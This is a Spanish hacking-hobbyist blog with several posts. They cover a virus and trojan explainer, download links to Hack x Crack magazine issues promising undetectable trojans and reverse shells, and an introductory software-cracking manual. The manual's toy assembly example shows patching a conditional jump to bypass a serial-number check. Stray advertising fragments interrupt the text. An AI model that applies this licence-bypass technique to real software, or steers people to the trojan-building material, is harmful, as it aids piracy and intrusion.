Acceder a MySQL desde Visual C++

13 01 2009

Cómo acceder a MySQL desde Visual C++ usando las API’s, paso a paso.

Este tutorial se encuentra en formato PDF y nos muestra, paso a paso, cómo crear una pequeña aplicación en Visual C++ 6.0 con acceso a una base de datos de MySQL sin usar ODBC.

Contenido del tutorial:

Paso 1: Crear el proyecto
Paso 2: Manos a la obra.
Paso 3: Configurar las rutas
Paso 4: Ajustar la configuración del proyecto.
Paso 5: Crear la base de datos
Paso 6: Escribir el código fuente
Paso 7: Establecer la conexión
Paso 8: Ejecutar la consulta.
Paso 9: Resultados

Descargar aquí: http://www.latindevelopers.com/files/6/mysqlapi.pdf





Virus

2 10 2008
Anuncios anuncios pisos madrid contactar contactos

En este apartado propucarare explicar todo sobre los virus como evitarlos etc…

VIRUS Y TROYANOS

El objetivo de los virus, la mayoría de las veces es destructivo, pero no siempre. En ocasiones son obras maestras de la programación, que persiguen el reto de aprender o de demostrar los fallos de seguridad, de sistemas operativos o Internet. Programados en código máquina o diferentes códigos de programación, los virus son cada vez más potentes y afectan a más archivos, como lo demuestra hispasec (www.hispasec.com) con OUTLOOK.PDFWorm, el primer gusano que se presenta en un archivo PDF (Portable Document Format), el conocido formato de Adobe Acrobat.

Minglanilla, la sal de Castilla

Acceso Uno: Qué es un virus

-Programas creados con distintos lenguajes de programación o código de máquina (es el lenguaje más elemental que el ordenador es capaz de interpretar).Cuando se activa (previamente el usuario a ejecutado dicho virus, en forma de fichero con distintas extensiones ejecutables) el virus comienza su infección, entra en acción el código, que dependiendo de su programación, será más o menos destructivo, provocando problemas al sistema informático del usuario. Se comportan a veces de forma similar a los biológicos, aunque hay una diferencia muy clara. Los virus informáticos siempre se introducen en el sistema cuando el usuario los ejecuta. Por lo tanto si tenemos un antivirus actualizado y NO ejecutamos archivos de procedencia sospechosa, desconocida, podemos estar a salvo de estos virus con un porcentaje muy alto. Los biológicos es distinto, todos sabemos que nos podemos cuidar perfectamente y por el simple echo de respirar un aire acondicionado contaminado nos puede entrar un virus. Pero creadores de estos programas informáticos víricos, en ocasiones, podemos encontrar obras de “ingenieria social” que da lugar a que el usuario ejecute un virus sin practicamente darse cuenta. De este dato hablaremos más adelante en la sección de troyanos.

Acceso Dos: Como evitarlos

-Es conveniente tener un antivirus actualizado. Y cada vez que instalamos por ejemplo un programa desde disquete o CD-ROM u otro soporte, revisarlo con el antivirus. Algunos programas incluyen método heurístico y la posibilidad de analizar todos los ficheros. Si tenemos sospechas, es recomendable indicar estas opciones. El método heurístico busca cadenas sospechosas en los archivos, en busca de posibles virus que en ese momento son desconocidos.

-Tener precaución con el correo electrónico, con los ficheros adjuntos. No ejecutarlos si la procedencia es desconocida. Incluso si conocemos el destinatario, puede ser un virus pero esta persona NO tiene porque ser el responsable. Hay virus, en este caso denominados gusanos, que infectan el sistema de tal forma que se autoenvian a los contactos de la libreta de direcciones (sobre todo si utilizamos Outlook Express). Por lo tanto simplemente cada vez que nos envien un fichero adjunto, lo revisamos con el antivirus para evitarnos problemas.

-Hay muchos tipos de virus, pero para resumir se puede decir que cualquier fichero que se ejecute puede tener un código vírico, porque las técnicas de programación, estan avanzando cada vez mas. Los ficheros ejecutables más comunes que pueden tener código dañino son: .exe .com .js .bat .sys librerias de windows .dll archivos .html .doc (de microsoft word los famosos virus de “macro”) archivos .html con código en JavaScript o insertado con controles ActiveX…Incluso ficheros con extension .sam (AmiPro) y ficheros .src (los “salvapantallas” o protectores de pantalla) y como indicaba al principio ficheros PDF y prácticamente la extensión de los archivos va en aumento.Tambien son conocidos virus que afectan a CorelDraw y troyanos que hablaremos a continuacion que se propagan a traves del programas de chat (el mas conocido mIRC) o a traves de los ficheros ejecutables que he indicado.

Para concluir el “acceso dos” se podría decir que teniendo un antivirus actualizado con protección para Internet (ya he indicado que hay virus .html extension de ficheros web y programados en java) y tenemos precaución en no ejecutar ficheros sospechosos, podemos evitar dichos “programas viricos” (pero al 100 es complicado…)

Acceso Tres: ¿Qué son los troyanos?

Open Directory Project at dmoz.org

No son virus como tales, pero pueden realizar acciones destructivas como algunos virus. Los más peligrosos constan de dos programas, un servidor y un cliente. El servidor es por ejemplo nuestro Ordenador (para hacernos una idea) y el cliente es el usuario que intenta “entrar” en nuestro Ordenador, una vez que ha entrado, en función de las características de dicho troyano, puede borrar archivos de nuestro disco duro, formatearlo, abril la unidad de cd-rom, realizar capturas de nuestro escritorio, de lo que tecleamos, hay troyanos que “copian” el archivo .PWL que es donde el sistema windows guarda las contraseñas y las envia a una dirección de correo electrónico.

Un troyano muy conocido es Back Orifice conocido como BO. Creado por el grupo “Cult of the Dead Cow” (culto a la vaca muerta). Está en la lista “In The Wild” que es una recopilación de los virus o troyanos más importantes y que más propagación han tenido. Sus autores quieren demostrar los fallos de seguridad de win 95/98.Y muy conocido es NetBus y SubSeven que disponen de varias versiones. BO incluso tiene “plugins” para mejorar sus acciones.

Acceso Cuatro: Como evitar a Back Orifice

La aplicación netstat nos pude ser de gran ayuda. Sirve para darnos información del protocolo TCP/UDP y TCP/IP. Este comando con -a nos da información de todas las conexiones y puertos en escucha Para comprobar si tenemos el troyano Back Orifice, desde MS_DOS por ejemplo, tecleamos: netstat -an |find “UDP” Si la información que nos da es la siguiente: UDP 0.0.0.0:31337 *.* podemos tener la seguridad que tenemos instalado el servidor de “Back Orifice” en nuestro Ordenador. También, con la orden desde ms-dos netstst -an te da toda la información, prueba dichas ordenes y verás todos tus puertos (mientras estas conectado a internet). Por ejemplo el troyano NetBus utiliza el puerto TCP 12345. En la web: http://www.hispasec.com tienes más información de cómo evitar este tipo de programas. Son analizados otros troyanos conocidos como NetBus y DeepThroat.

Estos “Caballos de troya” suelen estar contenidos en programas ejecutables y a traves de chat, por ejemplo mIRC nos pueden enviar este tipo de “programas”, o a traves de ICQ (cuidado con la seguridad de dicho programa). Normalmente se quedan residentes en memoria y se introduce código en el registro de windows para que cada vez que encendamos el Ordenador lo tengamos “activo”.





Creative Commons

1 10 2008

En mis articulos hay licencia de creative commons de tal modo mis articulos no podrán salir de aquí.

Creative Commons License
Como hackear by Como hackear is licensed under a Creative Commons Reconocimiento-No comercial-Sin obras derivadas 2.5 España License.
Based on a work at allabouthack.wordpress.com.
Permissions beyond the scope of this license may be available at http://allabouthack.wordpress.com.





Aprende a hacker gracias a la revista hack x crack

30 09 2008


Bueno aquí de nuevo publico este articulo , respetando derechos de autor lo encontré en un foro llamado forohack estube leyendo me descargue las revistas y son interesantes de tal modo que las publicaré aquí.

Esta no es una revista más, por primera vez tenéis ante vosotros una publicación LIBRE que os ofrecerá la posibilidad de explorar la red tal y como debe explorarse
Esta publicación responde a la pregunta más veces expuesta en LA RED: ¿Cómo puedo ser un hacker?
Nuestro objetivo es: ACABAR CON LA BASURA DE LA RED (lamers y demás “esencias” ) con el único método que conocemos: LA EDUCACIÓN y con una única bandera que será por siempre nuestra firma: SOLO EL CONOCIMIENTO TE HACE LIBRE.

Estos son nuestros pilares: LA EDUCACIÓN Y EL CONOCIMIENTO. Para ser un HACKER solo hace falta dos cosas: curiosidad y medios, a partir de ahora la curiosidad deberéis ponerla VOSOTROS, porque los medios los facilitaremos NOSOTROS. En las siguientes líneas os descubrimos cómo podremos conseguir nuestros objetivos y definimos algunas de las palabras que más han sido violadas y retorcidas en su significado.

Hacker: Este término ha sufrido a lo largo de su corta historia una horrible conspiración perpetrada por la ignorancia de los medio, eso que personalmente llamo “periodismo de telediario” (en clara alusión a los ridículos artículos que no hacen más que intoxicar nuestra percepción de las cosas e insultar nuestra inteligencia). Este tipo de periodismo unido a “otros poderes”, desde los monopolios que deben justificar su incompetencia hasta los gobiernos que deben justificar sus intereses ocultos pasando por la industria del cine y los medios informativos “de masas”.

Pues bien, HACKER no es más que una persona que posee conocimientos avanzados sobre una materia en concreto, normalmente relacionados con la tecnología aunque ni mucho menos limitado a elllo. Ponen sus aptitudes al servicio de un único objetivo: EL CONOCIMIENTO. Desean conocer el funcionamiento de “las cosas” y no encuentran límites en su camino más que su propia curiosidad. No se dedican a destruir ni a causar estragos entre sus “victimas”, no se dedican a robar ni a chantajear ni a regodearse de sus “conquistas”, muy al contrario suelen advertir a terceros de las debilidades de sus sistemas y, desgraciadamente, esos “terceros” en lugar de agradecerles su aviso se dedican a denunciarlos o perseguirlos…. aunque no siempre es así, por supuesto, muchas compañias y gobiernos han aprendido lo valiosos que son los HACKERS y ahora algunos son colaboradores (o empleados) de estos. BILL GATES es un HACKER (el papá ventanas), como Linus Torvalds (el papá Linux) o Grace Hooper (la Almirante, creadora del lenguaje COBOL), los autores del COREWAR, Robert Thomas Morris, Douglas McIlroy y Victor Vysottsky (precursores de los creadores de virus informáticos), y muchos más. ¿Cómo? ¿Pero no hemos dicho que los hackers no cometen delitos? Pues NO, vuelve a leer su definición…..pero claro, de todo hay en la viña del señor y al igual que hay delincuentes entre el clero hay hackers que en un momento u otro han caído en la ilegalidad, nadie es perfecto!!! ….. y Bill Gates es un HACKER? Por supuesto, solo tienes que leerte su biografía. ¿Sorprendido? Espero que no, porque eso no es nada más que un cero a la izquierda en comparación con lo que vas a encontrar en esta revista.

En vez de juntar todos los números en un único, o dos o tres archivos, las he puesto para descargar una por una por si hay alguien que quiere bajarse unos números determinados, aunque es recomendable bajarse todos los números

en mi opinión y en la de muchos es la mejor revista para aprender hacking, ya que explica las cosas de manera sencilla, y en principio no muy técnica, para que vayas asimilando conceptos poco a poco, y que luego a la hora de tener que leer artículos realmente técnicos y pesados de leer te sea mucho más fácil comprenderlos.

Ningún libro en la red puede enseñarte lo que se enseña aquí de la manera sencilla en que es explicado, muy útil tambien para los que buscan seguridad en internet, por aquello, de ver bajo la mirada del enemigo, si aprendes a mirar a tu sistema, de la manera en que lo ve un hacker, te será mucho más fácil de proteger que cómo lo haces ahora con un antivirus y un cortafuegos, que pueden ser saltados con suma facilidad! todo eso y mucho más aquí lo aprenderás, aquí comparto con vosotros pues los 30 números de hackxcrack, y en el número 30 número va incluído en un documenteo de texto el foro actual al que puedes dirigir tu consultas según hagas los ejercicios de esta revista, no se puede pedir más…….

EN ESTE POST ESTAN LOS LINKS EN UNA CUENTA PREMIUM EN RAPIDSHARE (NO CADUCAN LOS ENLACES NUNCA)Descarga las revistas de HackXCraCk aki!! Link’s resubidos con cuenta Premium!!

 

Cuaderno 1:

-Crea tu primer troyano indetectable por los antivirus
-FXP:sin limite de velocidad, utilizando conexiones ajenas
-Los secretos del FTP
-Esquivando firewalls
-Pass mode versus port mode

http://rapidshare.com/files/416505/C…k_Numero_1.rar

Cuaderno 2:
-Code/decode bug (como hackear servidores paso a paso)
-Ocultacion de ip: primeros pasos
-Aznar al frente de la gestapo digital

http://rapidshare.com/files/459550/C…mero_2.pdf.rar

Cuaderno 3:
-Ocultando nuestra ip, encadenando proxys
-proxy: ocultando todos nuestros programas tras las cadenas de proxies
-practicas de todo lo aprendido

http://rapidshare.com/files/1734178/…k_Numero_3.rar

Cuaderno 4:
-Crea tu segundo troyano indetectable e inmune a los antivirus
-Radmin: remote administrator 2.1, un controlador remoto a medida

http://rapidshare.com/files/461740/C…mero_4.pdf.rar

Cuaderno 5:
-Aprende a compilar, paso obligado antes de explicarte los exploits
-Rootkits, sin defensa posible
-penetracion de sistemas por netbios
-compilacion del netcat con opciones “especiales”
-netbios: un agujero de seguridad no reconocido por microsoft
-La pirateria en internet

http://rapidshare.com/files/464620/C…k_Numero_5.rar

Cuaderno 6:
-Curso de visual basic: aprende a programar desde 0
-Ficheros Stream (invisibles, peligrosos y ejecutables)
-Rippeando videos Divx, El rey
-Ocultacion avanzada de ficheros en windows xp
-Listado de puertos y Servicios: imprescindible!!!
-IPHXC: El tercer troyano de hack x crack (parte 1)
-Trasteando con el hardware de una lan

http://rapidshare.com/files/466514/C…k_Numero_6.rar

Cuaderno 7:
-Apache, El mejor servidor web- transforma tu pc en un servidor web
-El cuarto troyano de Hack x Crack: El CCPROXY, un servidor oculto para anonimizar nuestras conexiones
-IPHXC (segunda parte) nuestro tercer troyano
-La inseguridad del protocolo POP3: Capturando las claves de nuestra cuenta de correo
Los primeros pasos con IRIS (sniffando la red)
-Accede por Telnet a servidores POP3, entendiendo los protocolos
-Curso de visual basic, segunda entrega
-Rippeando (2ª parte) el audio: AC3 — MP3 –OGG
-Consigue una cuenta POP3 gratis

http://rapidshare.com/files/468994/C…k_Numero_7.rar

Cuaderno 8:
-Linux: Netcat Perl “pipes”
-Reverse shell, burlando al firewall
-Encadenando programas
-Penetracion inversa en PCs remotos
-SMTP: descubre los protocolos de internet
-Apache: Configuracion, comparte ficheros desde tu propio servidor web
-Jugando de nuevo con el NETCAT
-SERIE RAW: protocolos
-Visual Basic: “Arrray de controles” “vectores” “ocx”

http://rapidshare.com/files/471262/C…k_Numero_8.rar

Cuaderno 9:
-NMAP: El mejor escaneador de internet: instacion, interfaz grafica, opciones de uso
-Iniciacion al PORT SCANNING – Tecnicas de “scaneo”
-Serie RAW: IRC – Internet Relay Chat
-Chateando mediante Telnet
-GNU Linux- Permisos de archivo CAT y otros comandos
-APACHE- Modulos y servidores virtuales
-Descubre los protocolos de “la red” con nosotros
-VISUAL BASIC – Creando librerias. Acceso a datos

http://rapidshare.com/files/472735/C…mero_9.pdf.rar

Cuaderno 10:
-GNU LINUX- Gestion de usuarios, editores de texto: “VI”
-Serie Raw: Conociendo protocolos y su seguridad
-Curso de Visual Basic (V) acceso a datos II,
-XML: el futuro de la transferencia de datos
-Apache parte IV, trio de ases: APACHE- PHP- MYSQL

http://rapidshare.com/files/597702/C…ero_10.pdf.rar

Cuaderno 11:
-Programacion en GNU Linux: Bash Scripting y C
-Serie Raw: entendiendo los protocolos y su seguridad; Raw 5: FTP (File transfer protocol)
-Intrusión en redes de área local, la pesadilla de todo administrador
-Apache parte V: Configura tu servidor apache como servidor proxy
-Validacion de documentos XML: DTD primera parte: creacion de DTDS
-Curso de Visual Basic (VII) IIS Bug exploit: usando el webbrowser
-Augusta Ada Byron, Lady Lovelace (1815-1852) el primer programa

http://rapidshare.com/files/600664/C…ero_11.pdf.rar

Cuaderno 12:
-Explotando los servidores FTP:atravesando firewalls por ftp: aprende a utilizar los servidores ftp como anonimizadores!!!
-Raw 6: FTP segunda parte
-Servidor Web Apache: Protege tu apache configurandolo de forma segura: restriccion de accesos – autentificacion – analizando a nuestros visitantes – logs codificación – HTPASSWD – Cortafuegos
-Visual Studio.net: crea tu propia herramienta de cracking
-Validacion de documentos XML: DTD segunda parte, atributos y elementos
-IIS bug exploit, nuestro primer scanner
-Programacion en GNU/Linux, desarrollo de aplicaciones en entornos unix e iniciación al lenguaje C

http://rapidshare.com/files/712197/C…_Numero_12.rar

Cuaderno 13:
-Manipulación de documentos XML: El Dom, 1ª parte: teoria del Dom e intterfaz Domdocument
-Programación en GNU/Linux, desarrollo de aplicaciones en entornos unix e iniciación al lenguaje C
-Curso de Visual Basic: un cliente, una necesidad, tenemos un proyecto (parte I)
-RAW 7: HTTP (Hypertext Transfer Protocol)
-Port Scanning: Escaneando ordenadoros Remotos: tipos de scaneos

http://rapidshare.com/files/861054/C…_Numero_13.rar

Cuaderno 14:
-Curso de PHP, empezamos a programar, PHP (1)
-Serie RAW ( DNS – Domain Name System
-Curso de Visual Basic, un cliente, una necesidad, un proyecto, (parte II)
-Programación en GNU Linux, desarrollo de aplicaciones en entornos unix e iniciación al lenguaje C (III)
-Manipulacion de documentos XML: El Dom 2ª parte. Interfaz XMLDOMNODE (I)
-Tecnicas de Hijacking

http://rapidshare.com/files/1247777/…_Numero_14.rar

Cuaderno 15:
-Curso de PHP (II) Aprende a programar tu propio generador de IPs
-Serie XBOX Life, instalando Linux en una Xbox
-RAW 9: MSN (Microsoft Messenger)
-Curso de Visual Basic, Un cliente, una necesidad, un proyecto, (parte III)
-Programación en GNU Linux, desarrollo de aplicaciones en entornos unix e iniciación al lenguaje C (IV)

http://rapidshare.com/files/1253922/…_Numero_15.rar

Cuaderno 16:
-Curso PHP: Aprende a manejar ficheros con PHP
-Programación en GNU Linux, programación del sistema: El sistema I.P.C.
-Manipulación de documentos XML: El DOM tercera parte
-Serie XBOX LIFE: EVOLUTION X tu mejor amigo
-RAW 10 – NNTP (Usenet)

http://rapidshare.com/files/1258965/…_Numero_16.rar

Cuaderno 17:
-Hackeando un servidor Windows en 40 segundos!!!
-Programación en GNU Linux: programación del sistema, el sistema I.P.C (II)
-Curso de TCP/IP, introducción
-Curso de PHP, (4ª entrega) Aprende a manejar cadenas de texto en PHP
-Serie XBOX LIFE (III) Cambiando el disco duro y parcheando juegos

http://rapidshare.com/files/1263795/…_Numero_17.rar

Cuaderno 18:
-Curso de PHP, manejo de formularios web
-Serie XBOX LIFE (IV) Convirtiendo nuestra xbox en un centro multimedia
-Programación en GNU Linux, memoria compartida
-Curso de TCP/IP (2ª entrega) El protocolo de transporte UDP (protocolo de datagramas de usuario)
-El lenguaje XSL, transformacion del documento XML
-La realidad de los virus informáticos

http://rapidshare.com/files/1399584/…_Numero_18.rar

Cuaderno 19:
-Programación en Gnu Linux, colas de mensajes
-XBOX LIFE V – Jugando online gratis
-Crackeando las restricciones de seguridad de windows
-Curso de seguridad en redes – IDS
-Curso de PHP – Aprende a manejar sockets con PHP

http://rapidshare.com/files/1404999/…_Numero_19.rar

Cuaderno 20:
-Curso de PHP: Aprende a manejar sesiones
-Curso de TCP/IP (3ª entrega) TCP, 1ª parte
-XBOX LIFE VI, Menu X
-Curso de seguridad en redes – IDS (II)

http://rapidshare.com/files/1412210/…_Numero_20.rar

Cuaderno 21:
-Trabajando con bases de datos en PHP
-Curso de TCP/IP: 4ª entrega: TCP 2ª parte
-IDS, Sistema de Detección de Intrusos, tercera entrega, pluggins de salida en SNORT
-XBOX LIFE VII, Creando nuestro Slayer

http://rapidshare.com/files/1531307/…_Numero_21.rar

Cuaderno 22:
-Asaltando foros: guia paso a paso
-Firewalls: Qué son, cómo funcionan y cómo saltárselos

http://rapidshare.com/files/1537444/…ero_22.pdf.rar

Cuaderno 23:
-Cómo explotar fallos Buffer Overflow
-Curso de TCP/IP: ICMP (protocolo de mensajes de control de internet)
-Diseño de cortafuegos (parte II)

http://rapidshare.com/files/1606357/…_Numero_23.rar

Cuaderno 24:
-Los bugs y los exploits, esos pequeños bichos y diablos
-Curso de TCP/IP: La capa IP primera parte. Las direcciones IP
-Hacking de Linux
-Diseño de cortafuegos de red con iptables (3ª parte del curso de firewalls)

http://rapidshare.com/files/1610074/…_Numero_24.rar

Cuaderno 25:
-Los bugs y los exploits, esos pequeños bichos y diablos, segunda parte
-Vulnerabilidades Web, atacando la sesión de usuario
-Curso de TCP IP: La capa IP, segunda parte, (los datagramas)

http://rapidshare.com/files/1612765/…_Numero_25.rar

Cuaderno 26:
-Sombras en internet: sniffando la red – formas de detección – utilidades para la detección -ethereal: descripción. Capturando tráfico. Estableciendo filtros. Capturando información sensible. Telnet vs Secure shell
-Atacando la caché DNS
-Curso de TCP IP: La capa IP 3ª parte: fragmentación de datagramas

http://rapidshare.com/files/1617905/…_Numero_26.pdf

Cuaderno 27:
-Taller de Python “episodio 1″
-Taller de Criptografía – El sistema PGP
-Curso de TCP IP: protección con iptables, en una red corporativa
-Buffer Overflow
-Hackeando el núcleo

http://rapidshare.com/files/1628838/…_Numero_27.rar

Cuaderno 28:
-Hacking Estragegia, capitulo 1
-Curso de Python, capitulo 2
-Investigación, poniendo a prueba el antivirus
-Explotando Heap/BSS Overflows, capitulo 2
-Programación, curso de C, capitulo 1
-Taller de criptografía, capitulo 2
-La “ley de la mordaza”: informar es DELITO

http://rapidshare.com/files/1647421/…_Numero_28.rar

Cuaderno 29:
-Hacking estrategia: infiltración en una red wireless protegida
-Capitulo III: Taller de criptografía
-Control de Logs en GNU/LINUX
-Explotación de las Format Strings, capitulo III
-Shatter Attacks
-Curso de C, capitulo II
-FAQ, curiosidades de Gmail/Google

http://rapidshare.com/files/1652674/…_Numero_29.rar

Cuaderno 30:
-Taller de criptografía, capitulo IV
-Ataques a formularios web
-Los secretos del protocolo SOCKS
-Creamos una Shellcode paso a paso
-Capitulo III: Curso de C: Punteros y Arrays
-Hack mundial

http://rapidshare.com/files/1657597/…racticas.rar

todos sin pass y listos para descargar
Que disfruteis con la lectura del fascinante mundo del hacking
Salu2





Intoducción al Cracking

21 05 2008

Notas del autor: Este material completamente para uso educativo y no me hago responsable en absoluto del uso que el lector le pueda dar al mísmo ni de los daños y/o perjucios le pueda ocacionar. Si desea publicar este manual puede hacerlo libremente pero respetando los derechos de autor. Si Ud. no está de acuerdo con las condiciones de uso de este documento, por favor no lo lea y elimínelo de su disco duro.

Objetivos

El objetivo de este manual es que los lectores interesados puedan intruducirse a este mundo del cracking desde otro enfoque diferente al que la gente conoce. Que puedan iniciarse con un mínimo de conocimientos previos que se les brindarán en este manual.

Concepto de Cracking

Tambien recibe el nombre de Ingeniería Inversa, es la ciencia que estudia la seguridad de sistemas de protección tanto de software como de hardware con el objetivo de violarlos para aprender de ellos y obtener un beneficio personal sin fines de lucro. Podemos definirlo tambien de forma más generalizada como la acción que consiste en la modificación total o parcial de sistemas mediante alguna técnica específica para adaptarlos a las nececesidades personales de uno o bien solucionar fallas o errores de los mismos.

Breve introducción a la materia

Casi todo el mundo ve al cracking como pirateria, como algo ilegal, aunque algo de razon hay aqui si se emplea incorrectamente como en la mayoría de los casos. Se supone que toda ciencia es usada para el bien, y el cracking deberia serlo. Seria bueno que los crackers aprendan desde el principio a estudiar los sistemas de protecciones comerciales para poder crear otros nuevos con meyor seguridad o bien mejorar los existentes e implementarlos en los futuros programas en vez de andar publicando cracks en internet, por que eso sí es ilegal. Entonces podriamos decir que existen crackers buenos y malos, de los buenos por suerte hay una buena cantidad, pero tambien hay muchos de los otros que quizas muchos de ellos tienen muy malas intenciones como la creacion de virus para ocacionar daños. El buen cracker puede considerar o no como “enemigo” a estos tipo de crackers, pero a diferencia del bueno, el malo tiene como enemigo Nº1 los autores de los programas.

Quién puede ser cracker?

Es común ver que muchas personas creen ser crackers por el solo hecho de bajar un crack publicado de internet para registrar un shareware y probablemente luego venderlo. Ellos creen que esa acción es crackear, pero es un pensamiento erroneo, nosotros los crackers los vemos a ellos como verdaderos ignorantes. Entonces si ellos creen ser crackers, que queda para el autor del crack? Ambas partes se consideran complices de la pirateria lo cual no es bueno.
Una persona debe reunir ciertos requicitos y cualidades para poder ser cracker, acá muestro los mas importantes:

- Conocimientos de Software y Hardware
- Conocimientos de programacion en general
- Conocimientos básicos de Assembler (Impresindible)
- Muchas ganas e interés
- Mucha dedicación y esfuerzo
- Mucha paciencia y tiempo

Un cracker no se hace de un dia para el otro, esto puede llevar meses e iclusive años. Para ser bueno eso depende, pueden ser otros años mas, y para ser profesional… bueno, mejor cambiemos de tema.

Qué hay de las protecciones de software?

La extraordinaria cantidad de programas que han sido crackeados, la mayoría fueron los programadores quienes hicieron el sistema de protección. El resto han sido los mismos crackers quienes lo programaron, y quien mejor si no entonces? estas protecciones presentaban gran dificultad para desprotegerlos, aunque se han visto programas que son casi imposible crackearlos y solo un cracker puede hacer un sistema asi, pero como ya sabemos nada es imposible, no existe 100% seguridad. Pero igualmente con esto logramos que las empresas desarrolladoras de software contraten a un buen cracker para proteger su software. También en internet hay muchas empresas de seguridad informática que están conformadas principalmente por crackers y hackers que prestan ese tipo de servicios y venden licencias de software con sistema proteccion incluida.
Existen infinidades de maneras de proteger programas, las mas comunes de encontrar en los programa son los
siguientes:

Tiempo de uso limitado:
El programa puede caducar después de un período de tiempo determinado por el programador desde la fecha de instalación si no se registra el programa. Se suele limitar a minutos, horas, dias y meses.

Cantidad de ejecuciones limitadas:
El programa caduca luego de haberlo ejecutado una cantidad determinada de veces despuás de su instalacion si no se registra.

Numero de serie:
Esto es lo mas comun encontrar, existen de dos tipos, números de serie fijos o variables, éste ultimo se genera en la mayoria de los casos en base a algo, como por ejemplo en funcion del nombre de usuario, organizacion, etc. de esta manera se consigue un serial diferente y único para cada cliente o usuario. Pero también se suelen generar en función al nombre de la PC, del número de serie de disco o de algun otro componente del equipo. Y por último tenemos los números aleatorios, éstos son los más dificiles de crackear.

Mensajes molestos y/o nags:
Esto tambien es bastante común, son ventanas que pueden aparecer al inicio del programa o al final, o en alguna accion por parte del usuario en donde informa que se encuentra ante una copia no registrada o algun otro mensaje relacionado a la protección. Estos mensajes desaparecen al registrar.

Funciones desabilitadas:
Esto le dá a un shareware una escencia de que estamos ante una Demo pero no lo es en absoluto, generalmente deshabilitan funciones importantes de la aplicación, como por ejemplo: abrir, guardar, importar, exportar, imprimir, grabar, etc. Cuando registramos se habilitan todas.

CD-ROM:
Esta es la mas usada por los videos juegos. Debemos insertar el disco para poder jugarlos. Aveces hay juegos que están completamente instalados en el disco rigido pero nada más por seguridad nos piden el CD, otros realmente requieren archivos del mismo para su funcionamiento.

Archivos llave:
Es algo parecido al anterior pero funcionan de muchas formas diferentes dependendiendo de las habilidades del programador.

Anti-herramientas cracking:
Estas son muy efectivas si se utilizan técnicas novedosas o desconocidas para los crackers. Se pueden aplicar anti-depurador , anti-desensamblador, anti-monitores de registros o archivos, api, etc. Tambien anti-modificacion del ejecutable que seria algo como anti-editores hexadecimales.

Ejecutable comprimido y/o encriptado:
Esto también es muy efectivo si no se usan técnicas genericas. Por ejemplo con la compresion logramos disminuir el tamaño del ejecutable impidiendo que pueda ser desensamblado y también ocurre lo mismo con la encriptación. Pero tiene sus desventajas, con un depurador podemos ver el codigo en memoria ya descomprimido o desencriptado y se puede trabajar sobre él. Hay programas genericos que permiten descomprimir o desencriptar ejecutables para dejarlos tal y como lo vemos en memoria para poder aplicar parches.

Qué herramientas se utilizan?

Para crackear no se necesitan tantas herramientas, pero las hay segun sea el caso, a continuación nombraré y describiré las principales:

Depurador:
(En inglés Debugger) Es un programa que en realidad ha sido creado para solucionar errores o bugs de otros programas. Permite ver instrucción por instrucción en assembler que ejecuta el microprocesador en memoria durante la ejecución del programa y además nos permite poner puntos de parada (BreackPoints) en cualquier parte del código durante la ejecución. Podemos editar en forma temporal la memoria, los registros y las instrucciones para alterar su comportamiento. Ejemplo: SoftICE, TRW2000.

Desensamblador:
(En inglés Disassembler) Es un programa que nos permite ver el código de un ejecutable en assembler e interactuar con él. Podemos ver referencias de texto, menúes y cuadros de dialogo, funciones importadas y exportadas del programa desensamblado. Ejemplo: W32Asm, IdaPro.

Editor Hexadecimal:
Con este programa podemos editar los bytes en hexadecimal de las instrucciones de cualquier ejecutable o archivo. Con esto hacemos los parches. Ejemplo: UltraEdit, Hview, HexWorkshop, etc.

Monitor de Archivos:
Este programa se encarga de mostrarnos secuencialmente en tiempo real los archivos que estan siendo manejados con operaciones de entrada y salida (I/O) y por que programa esta siendo utilizado. Ejemplo: FileMon.

Monitor de Registro:
Este programa es similar al anterior con la diferencia de que se refiere al registro de Windows. Ejemplo: RegMon.

Monitor de Funciones API:
Este otro programa también es similar a los anteriores, nos permite espiar las funciones API utilizadas por un determinado programa en tiempo de ejecucion. Ejemplo: APIS32.

Descompresor:
Es un programa que sirve para descomprimir ejecutables comprimidos por algun compresor. Ejemplo: ProcDump.
Todas las herramientas se pueden encontrar en internet pero como toda herramienta antes de usarla por primera vez, debemos aprender a utilizarlas correctamente, hay cientos de manuales dedicados a las mas importantes, sobre todo el SoftICE que es muy dificil entenderlo. Como ya se habran dado cuenta necesitamos tener conocimientos de assembler para utilizarlas, por lo tanto busquense un buen manual para aprender.

Un pequño ejemplo práctico

Un programa es un conjunto de instrucciones que al ejecutarlo se cargan en memoria y éstas son ejecutadas una por una por el microprocesador. Muchas instrucciones impiden que se ejecuten otras como las instrucciones condicionales. Citaré un ejemplo un shareware cualquiera que hay que registrar por con un número de serie generado en base al nombre, si no introducimos el número correcto nos mostrará un mensaje de registración incorrecta. Qué ocurre en las instrucciones? Lo que aquí sucede es que hemos entrado a las rutinas de comprobación del serial del programa, que compara nuestro número de serie introducido con el número correcto, si son distintos muestra el mensaje de error y si son iguales nos muestra el de felicitacion y registra el programa. Saber assembler es fundamental para el crackeo, es un lenguaje de bajo nivel y practicamente el mas dificil de aprender. Ahora observaremos un pequeño ejemplo del algoritmo que hablamos representado en dicho lenguaje:

0001 push eax <- Almacena nuestro número en el registro EAX
0002 mov ecx, 0123 <- Mueve el serial correcto al registro ECX
0004 cmp eax,ecx <- Compara nuestro serial con el verdadero
0005 jne 0008 <- Si son distintos nos muestra mensaje de error

Este sistema es uno de los mas sencillos y faciles de crackear que nos podemos encontrar, aunque casi no quedan de esos. Para crackearlo es muy facil, se pueden modificar varias cosas, pero normalmente se acostumbra a invertir el salto condicional JNE que salta a la direccion 0008 donde esta el mensaje de error si EAX y ECX no son iguales, por el salto JE que salta si son iguales para que continue ejecutandose la siguiente linea y con esto cuando registremos el programa, nos aceptará cualquier número de serie como válido, salvo que pongamos el serial real.

Palabras finales

Con esto ya concluimos con este manual. La teoria necesaria para el cracking propiamente dicho merecen tutoriales especificos para temas en particular. Para los que se quieren iniciar, como ya he dicho, deben como primera medida aprender lo básico de assembler, aprender a usar las herramientas y luego leer tutoriales prácticos de crackeo para despues comenzar a practicar. Esas serían las pautas organizadas para que una persona se forme como cracker. Pero siempre recomiendo leer muchos manuales y tutoriales, muchisima práctica y entusiasmo si de verdad queres progresar.

[Texto sacado de portalhacker]





Revista

17 05 2008

Han sacado una revista que no es nueva , pero que esta muy bien y se titula así “Tuxinfo” la primera revista digital de software libre de argentina. Esta revista es totalmente gratis .

El link es el siguiente : http://www.tuxinfo.com.ar/tuxinfo/?p=1

Ya van por el numero 6 aunquepueden descargar los numero antiguos en la misma web.

Un articulo del admin de la web sobre la 6 revista.

